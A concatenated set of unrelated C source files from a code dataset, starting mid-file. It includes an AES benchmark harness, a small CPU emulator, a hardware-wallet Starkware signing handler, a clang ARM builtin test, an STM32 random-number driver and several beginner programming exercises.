statemt[2 + j * 4] ^= word[2][j + nb * n];
statemt[3 + j * 4] ^= word[3][j + nb * n];
}
return 0;
}
# 72 "aes/aes.c" 2
int
aes_main (void)
{
#pragma HLS array_partition variable=&statemt cyclic factor=2
statemt[0] = 50;
statemt[1] = 67;
statemt[2] = 246;
statemt[3] = 168;
statemt[4] = 136;
statemt[5] = 90;
statemt[6] = 48;
statemt[7] = 141;
statemt[8] = 49;
statemt[9] = 49;
statemt[10] = 152;
statemt[11] = 162;
statemt[12] = 224;
statemt[13] = 55;
statemt[14] = 7;
statemt[15] = 52;
#pragma HLS array_partition variable=&key block factor=2
key[0] = 43;
key[1] = 126;
key[2] = 21;
key[3] = 22;
key[4] = 40;
key[5] = 174;
key[6] = 210;
key[7] = 166;
key[8] = 171;
key[9] = 247;
key[10] = 21;
key[11] = 136;
key[12] = 9;
key[13] = 207;
key[14] = 79;
key[15] = 60;
encrypt (statemt, key, 128128);
decrypt (statemt, key, 128128);
return 0;
}
int
main ()
{
main_result = 0;
aes_main ();
printf ("\n%d\n", main_result);
return main_result;
}
|
the_stack_data/57161.c
|
/*
This program is a part of Riscade project.
Licensed under MIT License.
See https://github.com/m13253/riscade/blob/master/COPYING for licensing information.
*/
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
static const uint8_t fl = 10;
static const uint8_t sp = 11;
static const uint8_t s0 = 12;
static const uint8_t s1 = 13;
static const uint8_t s2 = 14;
static const uint8_t pc = 15;
static void print_debug(const uint8_t memory[0x10000], const uint8_t registers[16]) {
fprintf(stderr, "\nr0:%02x r1:%02x r2:%02x r3:%02x r4:%02x r5:%02x r6:%02x r7:%02x r8:%02x r9:%02x\nfl:%02x sp:%02x s0:%02x s1:%02x s2:%02x pc:%02x(%02x)\n\n", registers[0], registers[1], registers[2], registers[3], registers[4], registers[5], registers[6], registers[7], registers[8], registers[9], registers[fl], registers[sp], registers[s0], registers[s1], registers[s2], registers[pc], memory[registers[s2] << 8 | registers[pc]]);
}
static int run_inst(uint8_t memory[0x10000], uint8_t registers[16]) {
uint8_t inst = memory[registers[s2] << 8 | registers[pc]];
registers[pc]++;
if(inst >> 7 != (registers[fl] & 0x1)) {
return 1;
}
inst &= 0x7f;
// NOP
if(inst == 0x00) {
// HLT
} else if(inst == 0x01) {
return 0;
// IN
} else if(inst == 0x02) {
uint8_t port = registers[1];
if(port == 0) {
int c = fgetc(stdin);
if(c != EOF) {
registers[0] = (uint8_t) c;
registers[fl] &= 0xfd;
} else {
registers[0] = 0xff;
registers[fl] |= 0x2;
}
} else {
registers[0] = 0;
registers[fl] |= 0x2;
}
// OUT
} else if(inst == 0x03) {
uint8_t port = registers[1];
if(port == 1) {
if(fputc(registers[0], stdout) != EOF) {
registers[fl] &= 0xfd;
} else {
registers[fl] |= 0x2;
}
} else if(port == 2) {
if(fputc(registers[0], stderr) != EOF) {
registers[fl] &= 0xfd;
} else {
registers[fl] |= 0x2;
}
} else {
registers[fl] |= 0x2;
}
// SHR
} else if(inst == 0x04) {
int8_t shift = (int8_t) registers[1];
if(shift > 0 && shift < 8) {
registers[fl] &= 0xfd;
registers[fl] |= ((registers[0] >> (shift-1)) & 0x1) << 1;
if(registers[fl] & 0x8) {
registers[0] = ~((uint8_t) ~registers[0] >> shift);
} else {
registers[0] >>= shift;
}
} else if(shift > -8 && shift < 0) {
shift = -shift;
registers[fl] &= 0xfd;
registers[fl] |= ((registers[0] >> (8-shift)) & 0x1) << 1;
if(registers[fl] & 0x8) {
registers[0] = ~(~registers[0] << shift);
} else {
registers[0] <<= shift;
}
} else {
print_debug(memory, registers);
abort();
}
// SHR1
} else if(inst == 0x05) {
registers[fl] &= 0xfd;
registers[fl] |= (registers[0] & 0x1) << 1;
registers[0] >>= 1;
// ROR
} else if(inst == 0x06) {
if(registers[1] > 0 && registers[1] < 8) {
registers[0] = registers[0] >> registers[1] | registers[0] << (8-registers[1]);
} else {
print_debug(memory, registers);
abort();
}
// ROR1
} else if(inst == 0x07) {
registers[0] = registers[0] >> 1 | registers[0] << 7;
// CLI
} else if(inst == 0x08) {
registers[fl] &= 0x0f;
// CLF 1
} else if(inst == 0x09) {
registers[fl] &= 0xfd;
// CLF 2
} else if(inst == 0x0a) {
registers[fl] &= 0xfb;
// CLF 3
} else if(inst == 0x0b) {
registers[fl] &= 0xf7;
// TCE
} else if(inst == 0x0c) {
registers[fl] ^= 0x1;
// STF 1
} else if(inst == 0x0d) {
registers[fl] |= 0x2;
// STF 2
} else if(inst == 0x0e) {
registers[fl] |= 0x4;
// STF 3
} else if(inst == 0x0f) {
registers[fl] |= 0x8;
// TSP
} else if(inst == 0x10) {
registers[fl] &= 0xfe;
registers[fl] |= registers[0] & 1;
// SWP
} else if(inst >= 0x10 && inst <= 0x1f) {
uint8_t tmp = registers[0];
registers[0] = registers[inst & 0xf];
registers[inst & 0xf] = tmp;
// TSZ
} else if(inst == 0x20) {
if(registers[0]) {
registers[fl] |= 0x1;
} else {
registers[fl] &= 0xfe;
}
// CPF
} else if(inst >= 0x20 && inst <= 0x2f) {
registers[0] = registers[inst & 0xf];
// TSS
} else if(inst == 0x30) {
registers[fl] &= 0xfe;
registers[fl] |= registers[0] >> 7;
// CPT
} else if(inst >= 0x30 && inst <= 0x3f) {
registers[inst & 0xf] = registers[0];
// LD s0
} else if(inst == 0x44) {
registers[0] = memory[registers[s0] << 8 | registers[1]];
// LD s1
} else if(inst == 0x46) {
registers[0] = memory[registers[s1] << 8 | registers[1]];
// ST s0
} else if(inst == 0x45) {
memory[registers[s0] << 8 | registers[1]] = registers[0];
// ST s1
} else if(inst == 0x47) {
memory[registers[s1] << 8 | registers[1]] = registers[0];
// TSI
} else if(inst == 0x48) {
if(fl & 0xf0) {
registers[fl] |= 0x1;
} else {
registers[fl] &= 0xfe;
}
// TSF 1
} else if(inst == 0x49) {
if(registers[fl] & 0x2) {
registers[fl] |= 0x1;
} else {
registers[fl] &= 0xfe;
}
// TSF 2
} else if(inst == 0x4a) {
if(registers[fl] & 0x4) {
registers[fl] |= 0x1;
} else {
registers[fl] &= 0xfe;
}
// TSF 3
} else if(inst == 0x4b) {
if(registers[fl] & 0x8) {
registers[fl] |= 0x1;
} else {
registers[fl] &= 0xfe;
}
// LDS
} else if(inst == 0x4c) {
registers[0] = memory[registers[s1] << 8 | registers[sp]];
// STS
} else if(inst == 0x4d) {
memory[registers[s1] << 8 | registers[sp]] = registers[0];
// CLR
} else if(inst == 0x50) {
registers[0] = 0;
// NOT
} else if(inst == 0x51) {
registers[0] = ~registers[0];
// AND
} else if(inst == 0x52) {
registers[0] &= registers[1];
// OR
} else if(inst == 0x53) {
registers[0] |= registers[1];
// XOR
} else if(inst == 0x54) {
registers[0] ^= registers[1];
// DBG
} else if(inst == 0x55) {
print_debug(memory, registers);
// ADD
} else if(inst == 0x56) {
if(registers[0] + registers[1] >= 0xff) {
registers[fl] |= 0x2;
} else {
registers[fl] &= 0xfd;
}
registers[0] += registers[1];
// SUB
} else if(inst == 0x57) {
if(registers[0] - registers[1] < 0) {
registers[fl] |= 0x2;
} else {
registers[fl] &= 0xfd;
}
registers[0] -= registers[1];
// MUL
} else if(inst == 0x58) {
uint16_t prod = registers[0] * registers[1];
registers[0] = (uint8_t) prod;
registers[1] = (uint8_t) (prod >> 8);
// DIV
} else if(inst == 0x59) {
if(registers[0] == 0 && registers[1] == 0) {
registers[fl] |= 0x2;
registers[0] = 0;
registers[1] = 0;
} else if(registers[1] == 0) {
registers[fl] |= 0x2;
registers[0] = 0xff;
registers[1] = 0;
} else {
uint8_t r0 = registers[0];
uint8_t r1 = registers[1];
registers[fl] &= 0xfd;
registers[0] = r0 / r1;
registers[1] = r0 % r1;
}
// INC
} else if(inst == 0x5a) {
if(registers[0] == 0xff) {
registers[fl] |= 0x2;
} else {
registers[fl] &= 0xfd;
}
registers[0]++;
// DEC
} else if(inst == 0x5b) {
if(registers[0] == 0x0) {
registers[fl] |= 0x2;
} else {
registers[fl] &= 0xfd;
}
registers[0]--;
// POP
} else if(inst == 0x5c) {
registers[sp]++;
// PUSH
} else if(inst == 0x5d) {
registers[sp]--;
// LJMP
} else if(inst == 0x5e) {
uint8_t tmp0 = registers[0];
registers[0] = registers[pc];
registers[pc] = tmp0;
uint8_t tmp1 = registers[s0];
registers[s0] = registers[s2];
registers[s2] = tmp1;
// IRET
} else if(inst == 0x5f) {
registers[pc] = memory[registers[s1] << 8 | registers[sp]++];
registers[s0] = memory[registers[s1] << 8 | registers[sp]++];
registers[fl] |= 0x4;
// IML
} else if(inst >= 0x60 && inst <= 0x6f) {
registers[0] = (registers[0] & 0xf0) | (inst & 0x0f);
// IMH
} else if(inst >= 0x70 && inst <= 0x7f) {
registers[0] = (registers[0] & 0x0f) | (inst & 0x0f) << 4;
} else {
print_debug(memory, registers);
abort();
}
return 1;
}
static void emulate(uint8_t memory[0x10000], uint8_t registers[16]) {
while(run_inst(memory, registers)) {
}
}
int main(int argc, char *argv[]) {
if(argc < 2) {
fprintf(stderr, "Usage: %s ROM.bin\n\n", argv[0]);
return 1;
}
FILE *file = fopen(argv[1], "rb");
if(!file) {
int err = errno;
perror("Error opening ROM file");
return err;
}
uint8_t *memory = calloc(0x10000, 1);
if(!memory) {
int err = errno;
perror("Error allocating memory");
return err;
}
fread(memory, 1, 0x10000, file);
if(ferror(file)) {
int err = errno;
perror("Error reading ROM file");
return err;
}
fclose(file);
uint8_t registers[16] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0
};
emulate(memory, registers);
free(memory);
return 0;
}
|
the_stack_data/75138671.c
|
#ifdef HAVE_STARKWARE
#include "shared_context.h"
#include "apdu_constants.h"
#include "stark_utils.h"
#include "ui_flow.h"
#include "ui_callbacks.h"
void handleStarkwareUnsafeSign(uint8_t p1,
uint8_t p2,
uint8_t *dataBuffer,
uint16_t dataLength,
unsigned int *flags,
unsigned int *tx) {
uint32_t i;
uint8_t privateKeyData[INT256_LENGTH];
cx_ecfp_public_key_t publicKey;
cx_ecfp_private_key_t privateKey;
uint8_t bip32PathLength = *(dataBuffer);
uint8_t offset = 1;
// Initial checks
if (appState != APP_STATE_IDLE) {
reset_app_context();
}
if ((bip32PathLength < 0x01) || (bip32PathLength > MAX_BIP32_PATH)) {
PRINTF("Invalid path\n");
THROW(0x6a80);
}
if ((p1 != 0) || (p2 != 0)) {
THROW(0x6B00);
}
if (dataLength != 32 + 4 * bip32PathLength + 1) {
THROW(0x6700);
}
tmpCtx.transactionContext.pathLength = bip32PathLength;
for (i = 0; i < bip32PathLength; i++) {
tmpCtx.transactionContext.bip32Path[i] = U4BE(dataBuffer, offset);
PRINTF("Storing path %d %d\n", i, tmpCtx.transactionContext.bip32Path[i]);
offset += 4;
}
memmove(dataContext.starkContext.w2, dataBuffer + offset, 32);
io_seproxyhal_io_heartbeat();
starkDerivePrivateKey(tmpCtx.transactionContext.bip32Path, bip32PathLength, privateKeyData);
cx_ecfp_init_private_key(CX_CURVE_Stark256, privateKeyData, 32, &privateKey);
io_seproxyhal_io_heartbeat();
cx_ecfp_generate_pair(CX_CURVE_Stark256, &publicKey, &privateKey, 1);
explicit_bzero(&privateKey, sizeof(privateKey));
explicit_bzero(privateKeyData, sizeof(privateKeyData));
io_seproxyhal_io_heartbeat();
memmove(dataContext.starkContext.w1, publicKey.W + 1, 32);
ux_flow_init(0, ux_stark_unsafe_sign_flow, NULL);
*flags |= IO_ASYNCH_REPLY;
}
#endif
|
the_stack_data/112487.c
|
#include <stdio.h>
int main()
{
int n, i, salidaScanf;
double factorial = 1;
salidaScanf = scanf("%d", &n);
if (n < 0 || salidaScanf != 1)
return 1;
for (i = n; i > 0; i--)
factorial *= i;
printf("%lg", factorial);
return 0;
}
|
the_stack_data/434814.c
|
/*
* autor: cristobal liendo
* fecha: 17/01/18
* descripcion: suma un dia a la fecha introducida, tomando en cuenta
* anos biciestos.
*/
#include <stdio.h>
#define LEAP(y) (y%4!=0)?0:(y%100!=0)?1:(y%400!=0)?0:1
int main() {
int days[2][13] = {
{-1, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
{-1, 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
};
// dd mm aaaa
int day, month, year;
printf("Ingresa la fecha en formato dd/mm/aaaa: ");
scanf("%d/%d/%d", &day, &month, &year);
day = ++day % (days[LEAP(year)][month] + 1);
if (day == 0) {
day++;
month = ((++month) % 13 == 0) ? ++year, 1: month;
}
printf("\nUn dia despues: %02d/%02d/%4d\n", day, month, year);
return 0;
}
|
the_stack_data/375193.c
|
/*
** EPITECH PROJECT, 2021
** My World
** File description:
** my_strlen
*/
int my_strlen(char *str)
{
int i = 0;
for (; str[i] != '\0'; i++);
return (i);
}
|
the_stack_data/98576633.c
|
#include <stdio.h>
#include <stdlib.h>
int main ()
{
float salario, vpagar;
printf ("Informe seu salario: \n");
scanf ("%.2f", &salario);
if (salario>=0.00 && salario<= 2000.00)
{
printf ("Isento\n");
}
else if (salario>2000.00 && salario<=3000.00)
{
vpagar = (salario-2000.00)*8/100;
printf ("R$ %.2f\n", vpagar);
}
else if (salario>3000.00 && salario<=4500.00)
{
vpagar = (salario-2000.00)*18/100;
printf ("R$ %.2f\n", vpagar);
}
else if (salario>4500.00)
{
vpagar = (salario-2000.00)*28/100;
printf ("R$ %.2f\n", vpagar);
}
system ("pause");
return (0);
}
|
the_stack_data/732737.c
|
#include<stdio.h>
int main(){
int i = 0;
while(i<=20){
if (i >= 10){
printf("The value of i is %d\n", i);
}
i++; // i = i + 1;
}
return 0;
}
|
the_stack_data/200143316.c
|
#include <stdio.h>
#include <stdlib.h>
struct Node
{
int data;
struct Node *next;
}*first=NULL,*second=NULL,*third=NULL;
//displaying the elements...
void Display(struct Node *p)
{
while(p!=NULL)
{
printf("\t%d ",p->data);
p=p->next;
}
}
//creating the list
void create(int A[],int n)
{
int i;
struct Node *t,*last;
first=(struct Node *)malloc(sizeof(struct Node));
first->data=A[0];
first->next=NULL;
last=first;
for(i=1;i<n;i++)
{
t=(struct Node*)malloc(sizeof(struct Node));
t->data=A[i];
t->next=NULL;
last->next=t;
last=t;
}
}
void create2(int A[],int n)
{
int i;
struct Node *t,*last;
second=(struct Node *)malloc(sizeof(struct Node));
second->data=A[0];
second->next=NULL;
last=second;
for(i=1;i<n;i++)
{
t=(struct Node*)malloc(sizeof(struct Node));
t->data=A[i];
t->next=NULL;
last->next=t;
last=t;
}
}
//Merging the two lists...
void Merge(struct Node *p,struct Node *q)
{
struct Node *last;
if(p->data < q->data)
{
third=last=p;
p=p->next;
third->next=NULL;
}
else
{
third=last=q;
q=q->next;
third->next=NULL;
}
while(p && q)
{
if(p->data < q->data)
{
last->next=p;
last=p;
p=p->next;
last->next=NULL;
}
else
{
last->next=q;
last=q;
q=q->next;
last->next=NULL;
}
}
if(p)last->next=p;
if(q)last->next=q;
}
int main()
{
/* int i,n,j,m;
printf("Enter the number of elements in the first list\t");
scanf("%d",n);
int A[20], B[20];
printf("\nEnter the elements of the first linked list:\t");
for(i=0;i<n;i++)
{
scanf("%d",A[i]);
}
printf("\nEnter the number of elements of second list\t");
scanf("%d",&m);
printf("Enter the elements of the second linked list:\t");
for(j=0;j<n;i++)
{
scanf("%d",B[j]);
}
*/
int A[]={10,20,40,50,60};
int B[]={15,18,25,30,55};
create(A,5);
create2(B,5);
printf("The first list is:");
Display(first);
printf("\n\nThe second list is:");
Display(second);
Merge(first,second);
printf("\n\nThe merged linked list is :");
Display(third);
return 0;
}
|
the_stack_data/218893960.c
|
// RUN: %clang_cc1 -ffreestanding -fsyntax-only -verify -triple arm %s
void string_literal(unsigned v) {
__builtin_arm_wsr(0, v); // expected-error {{expression is not a string literal}}
}
void wsr_1(unsigned v) {
__builtin_arm_wsr("sysreg", v);
}
void wsrp_1(void *v) {
__builtin_arm_wsrp("sysreg", v);
}
void wsr64_1(unsigned long v) {
__builtin_arm_wsr64("sysreg", v); //expected-error {{invalid special register for builtin}}
}
unsigned rsr_1(void) {
return __builtin_arm_rsr("sysreg");
}
void *rsrp_1(void) {
return __builtin_arm_rsrp("sysreg");
}
unsigned long rsr64_1(void) {
return __builtin_arm_rsr64("sysreg"); //expected-error {{invalid special register for builtin}}
}
void wsr_2(unsigned v) {
__builtin_arm_wsr("cp0:1:c2:c3:4", v);
}
void wsrp_2(void *v) {
__builtin_arm_wsrp("cp0:1:c2:c3:4", v);
}
void wsr64_2(unsigned long v) {
__builtin_arm_wsr64("cp0:1:c2:c3:4", v); //expected-error {{invalid special register for builtin}}
}
unsigned rsr_2(void) {
return __builtin_arm_rsr("cp0:1:c15:c15:4");
}
void *rsrp_2(void) {
return __builtin_arm_rsrp("cp0:1:c2:c3:4");
}
unsigned long rsr64_2(void) {
return __builtin_arm_rsr64("cp0:1:c2:c3:4"); //expected-error {{invalid special register for builtin}}
}
void wsr_3(unsigned v) {
__builtin_arm_wsr("cp0:1:c2", v); //expected-error {{invalid special register for builtin}}
}
void wsrp_3(void *v) {
__builtin_arm_wsrp("cp0:1:c2", v); //expected-error {{invalid special register for builtin}}
}
void wsr64_3(unsigned long v) {
__builtin_arm_wsr64("cp0:1:c2", v);
}
unsigned rsr_3(void) {
return __builtin_arm_rsr("cp0:1:c2"); //expected-error {{invalid special register for builtin}}
}
void *rsrp_3(void) {
return __builtin_arm_rsrp("cp0:1:c2"); //expected-error {{invalid special register for builtin}}
}
unsigned long rsr64_3(void) {
return __builtin_arm_rsr64("cp0:1:c15");
}
unsigned rsr_4(void) {
return __builtin_arm_rsr("0:1:2:3:4"); //expected-error {{invalid special register for builtin}}
}
unsigned rsr_5(void) {
return __builtin_arm_rsr("cp0:1:c2:c3:8"); //expected-error {{invalid special register for builtin}}
}
unsigned rsr_6(void) {
return __builtin_arm_rsr("cp0:8:c1:c2:3"); //expected-error {{invalid special register for builtin}}
}
unsigned rsr_7(void) {
return __builtin_arm_rsr("cp0:1:c16:c16:2"); //expected-error {{invalid special register for builtin}}
}
void *rsrp_4(void) {
return __builtin_arm_rsrp("0:1:2:3:4"); //expected-error {{invalid special register for builtin}}
}
unsigned long rsr64_4(void) {
return __builtin_arm_rsr64("0:1:2"); //expected-error {{invalid special register for builtin}}
}
unsigned long rsr64_5(void) {
return __builtin_arm_rsr64("cp0:8:c1"); //expected-error {{invalid special register for builtin}}
}
unsigned long rsr64_6(void) {
return __builtin_arm_rsr64("cp0:1:c16"); //expected-error {{invalid special register for builtin}}
}
|
the_stack_data/134049.c
|
#include <stdio.h>
int main()
{
float highscore[5];
highscore[0] = 993.86;
highscore[1] = 682.01;
highscore[2] = 639.60;
highscore[3] = 310.45;
highscore[4] = 123.25;
puts("Here are the high scores:");
printf("#1 %.2f\n",highscore[0]);
printf("#2 %.2f\n",highscore[1]);
printf("#3 %.2f\n",highscore[2]);
printf("#4 %.2f\n",highscore[3]);
printf("#5 %.2f\n",highscore[4]);
return(0);
}
|
the_stack_data/15763994.c
|
/*
* Hardware entropy collector for the STM32 families
*
* Copyright (C) 2006-2016, ARM Limited, All Rights Reserved
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#if DEVICE_TRNG
#include <stdlib.h>
#include "cmsis.h"
#include "trng_api.h"
#include "mbed_error.h"
#include "mbed_atomic.h"
#if defined (TARGET_STM32WB)
/* Family specific include for WB with HW semaphores */
#include "hw.h"
#include "hw_conf.h"
#endif
void trng_init(trng_t *obj)
{
uint32_t dummy;
#if defined(RCC_PERIPHCLK_RNG) /* STM32L4 / STM32H7 / STM32WB */
#if defined(TARGET_STM32WB)
/* No need to configure RngClockSelection as already done in SetSysClock */
#elif defined(TARGET_STM32H7)
RCC_PeriphCLKInitTypeDef PeriphClkInitStruct;
/*Select PLLQ output as RNG clock source */
PeriphClkInitStruct.PeriphClockSelection = RCC_PERIPHCLK_RNG;
PeriphClkInitStruct.RngClockSelection = RCC_RNGCLKSOURCE_PLL;
#if defined(DUAL_CORE)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct) != HAL_OK) {
error("RNG clock configuration error\n");
}
#if defined(DUAL_CORE)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
#elif defined(TARGET_STM32L4)
/* RNG and USB clocks have the same source, so the common source selection could be already done by USB */
RCC_PeriphCLKInitTypeDef PeriphClkInitStruct;
PeriphClkInitStruct.PeriphClockSelection = RCC_PERIPHCLK_RNG;
if (__HAL_RCC_GET_FLAG(RCC_FLAG_MSIRDY)) {
/* MSI clock is enabled, MSI selected as RNG clock source if not alredy done */
if (__HAL_RCC_GET_RNG_SOURCE() != RCC_RNGCLKSOURCE_MSI) {
PeriphClkInitStruct.RngClockSelection = RCC_RNGCLKSOURCE_MSI;
if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct) != HAL_OK) {
error("RNG clock configuration error\n");
}
}
} else {
/* MSI clock is not enabled, PLL selected as RNG clock source */
PeriphClkInitStruct.RngClockSelection = RCC_RNGCLKSOURCE_PLL;
if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct) != HAL_OK) {
error("RNG clock configuration error\n");
}
}
#elif defined(TARGET_STM32L5)
/* No need to reconfigure RngClockSelection as alreday done in SetSysClock */
#else
#error("RNG clock not configured");
#endif
#endif /* defined(RCC_PERIPHCLK_RNG) */
/* RNG Peripheral clock enable */
__HAL_RCC_RNG_CLK_ENABLE();
/* Initialize RNG instance */
obj->handle.Instance = RNG;
obj->handle.State = HAL_RNG_STATE_RESET;
obj->handle.Lock = HAL_UNLOCKED;
#if defined(RNG_CR_CED)
obj->handle.Init.ClockErrorDetection = RNG_CED_ENABLE;
#endif
#if defined(CFG_HW_RNG_SEMID)
/* In case RNG is a shared ressource, get the HW semaphore first */
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RNG_SEMID));
#endif
if (HAL_RNG_Init(&obj->handle) != HAL_OK) {
error("trng_init: HAL_RNG_Init\n");
}
/* first random number generated after setting the RNGEN bit should not be used */
if (HAL_RNG_GenerateRandomNumber(&obj->handle, &dummy) != HAL_OK) {
error("trng_init: HAL_RNG_GenerateRandomNumber\n");
}
#if defined(CFG_HW_RNG_SEMID)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RNG_SEMID, 0);
#endif
}
void trng_free(trng_t *obj)
{
#if defined(CFG_HW_RNG_SEMID)
/* In case RNG is a shared ressource, get the HW semaphore first */
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RNG_SEMID));
#endif
/*Disable the RNG peripheral */
HAL_RNG_DeInit(&obj->handle);
#if defined(CFG_HW_RNG_SEMID)
/* In case RNG is a shared ressource, get the HW semaphore first */
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RNG_SEMID, 0);
#else
/* RNG Peripheral clock disable - assume we're the only users of RNG */
__HAL_RCC_RNG_CLK_DISABLE();
#endif
}
int trng_get_bytes(trng_t *obj, uint8_t *output, size_t length, size_t *output_length)
{
int ret = 0;
volatile uint8_t random[4];
*output_length = 0;
#if defined(CFG_HW_RNG_SEMID)
/* In case RNG is a shared ressource, get the HW semaphore first */
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RNG_SEMID));
#endif
#if defined(TARGET_STM32WB)
/* M0+ could have disabled RNG */
__HAL_RNG_ENABLE(&obj->handle);
#endif // TARGET_STM32WB
/* Get Random byte */
while ((*output_length < length) && (ret == 0)) {
if (HAL_RNG_GenerateRandomNumber(&obj->handle, (uint32_t *)random) != HAL_OK) {
ret = -1;
} else {
for (uint8_t i = 0; (i < 4) && (*output_length < length) ; i++) {
*output++ = random[i];
*output_length += 1;
random[i] = 0;
}
}
}
/* Just be extra sure that we didn't do it wrong */
if ((__HAL_RNG_GET_FLAG(&obj->handle, (RNG_FLAG_CECS | RNG_FLAG_SECS))) != 0) {
ret = -1;
}
#if defined(CFG_HW_RNG_SEMID)
/* In case RNG is a shared ressource, get the HW semaphore first */
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RNG_SEMID, 0);
#endif
return (ret);
}
#endif
|
the_stack_data/182953288.c
|
/*****************************************************************************************************
* Challenges - String Search Challenge
*
* Write a program that takes two arguments at the command line, both strings.
* The program checks to see whether or not the second string is a substring of the first
* One caveat: any * in the second string can match zero or more characters in the first string
* so if the input were "abcd" and the substring were "a*c", then it would count as a substring
* Also, include functionality to allow an asterisk to be taken literally if preceded by a \
* and a \ is taken literally except when preceding an asterisk.
*****************************************************************************************************/
#include <stdint.h>
#include <stdio.h>
static void compare_string(char* str1, char* str2)
{
char* pstr1_tmp = str1;
char* pstr2_tmp = str2;
uint8_t star_mode_on = 0;
uint16_t start_index = 0;
if (str1 == NULL || str2 == NULL) {
printf("invalid string of NULL.\n");
}
while (*pstr1_tmp != '\0') {
if (*pstr2_tmp == '*') {
star_mode_on = 1;
pstr2_tmp += 1;
} else if (*pstr2_tmp == '\\' && *(pstr2_tmp + 1) == '*') {
star_mode_on = 1;
pstr2_tmp += 2;
} else {
if (*pstr2_tmp == *pstr1_tmp) {
if (start_index == 0) {
start_index = pstr1_tmp - str1;
}
pstr2_tmp += 1;
} else {
if (star_mode_on == 0) {
start_index = 0;
pstr2_tmp = str2;
}
}
pstr1_tmp += 1;
}
if (*pstr2_tmp == '\0') {
printf("%s is substring to %s, start_index=%d, end_index=%d\n", str2, str1, start_index, pstr1_tmp - str1);
return;
}
}
printf("%s is not substring to %s\n", str2, str1);
}
int main(int argc, char* argv[])
{
char* str1 = "abcbdcfedcba";
char* str2 = "b\\*dcb";
compare_string(str1, str2);
return 0;
}
|
the_stack_data/181393030.c
|
#include <stdio.h>
int main()
{
int n,a[100],c=0,i,max=0;
printf("Enter the size of array : ");
scanf("%d",&n);
printf("Enter the elements of array : ");
for(int i=0 ; i<n ; i++)
scanf("%d",&a[i]);
for(int j=0 ; j<n ; j++)
{
for( i=0 ; i<n ; i++)
{
if(j>i && a[j]==a[i])
break;
if(a[j]==a[i])
{
c++;
}
}
if(j>i && a[j]==a[i])
continue;
else
printf("Frequency of %d : %d\n",a[j],c);
c=0;
}
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.